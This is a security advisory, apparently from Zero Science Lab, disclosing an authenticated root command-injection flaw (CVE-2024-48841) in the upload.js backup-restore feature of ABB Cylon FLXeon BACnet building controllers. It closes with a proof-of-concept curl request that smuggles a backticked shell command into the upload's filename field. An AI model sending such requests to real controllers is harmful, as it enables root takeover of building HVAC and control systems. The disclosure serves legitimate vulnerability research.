ABB Cylon FLXeon 9.3.4 upload.js Authenticated Root Remote Code Execution

ABB Cylon FLXeon 9.3.4 (upload.js) Authenticated Root Remote Code Execution
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.4
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an authenticated root
    command injection. An attacker can exploit the Backup-Restore feature via the /api/upload
    endpoint to execute arbitrary system commands as root. The issue arises due to improper
    input validation in upload.js, where user-supplied input is passed to ChildProcess.exec()
    without adequate sanitization, allowing command injection via the filename parameter.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5909
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5909.php
    CVE ID: CVE-2024-48841
    CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
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                    ___    |  |            |.   |' .---"|
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         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
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             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ curl -k -X PUT "https://7.3.3.1/api/upload" \
    > -H "Cookie: user_sid=xxx" \
    > -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
    > --data-binary $'------zeroscience\r\nContent-Disposition: form-data; \
    > name="filename"\r\n\r\n`sleep 17`\r\n------zeroscience\r\nContent-Disposition: \
    > form-data; name="file"; filename="test"\r\nContent-Type: \
    > application/octet-stream\r\n\r\n------zeroscience--'